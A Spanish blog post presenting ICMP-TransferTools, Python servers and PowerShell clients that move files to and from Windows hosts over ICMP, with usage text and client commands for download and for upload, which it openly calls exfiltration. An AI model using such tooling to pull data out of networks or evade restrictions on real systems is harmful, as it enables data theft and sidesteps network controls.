ICMP-TransferTools es un conjunto de scripts diseñados para mover archivos hacia y desde hosts de Windows en entornos de red restringidos. Esto se logra utilizando un total de 4 archivos diferentes, que consisten en un servidor Python y un cliente PowerShell para cada dirección de transferencia (Descargar y Subir).
La única dependencia requerida es Impacket para uno de los scripts de python. Se puede instalar a través de pip simplemente así:
pip3 install impacket
Descarga a través de ICMP
Los scripts ICMP-SendFile.py e Invoke-IcmpDownload.ps1 incluidos en el repo se pueden usar para descargar un archivo a un host de Windows a través de ICMP.
El servidor python debe ejecutarse primero para preparar el archivo para su descarga. Las opciones para el uso del script son las siguientes:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Una vez importado, se puede usar el cliente en PowerShell para descargar el archivo de la siguiente manera: Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
A continuación una pequeña demo:
Subida a través de ICMP
Los scripts ICMP-ReceiveFile.py e Invoke-IcmpUpload.ps1 incluidos se pueden usar para subir/exfiltrar un archivo desde un host de Windows a través de ICMP.
El servidor Python debe ejecutarse primero para garantizar que esté listo para aceptar peticiones del cliente. Las opciones para el uso del script son las siguientes:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
Una vez importado, el cliente de PowerShell se puede usar para subir el archivo deseado de la siguiente manera: Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
Y de nuevo, otra pequeña demo:Repo: https://github.com/icyguider/ICMP-TransferTools
Comentarios
Publicar un comentario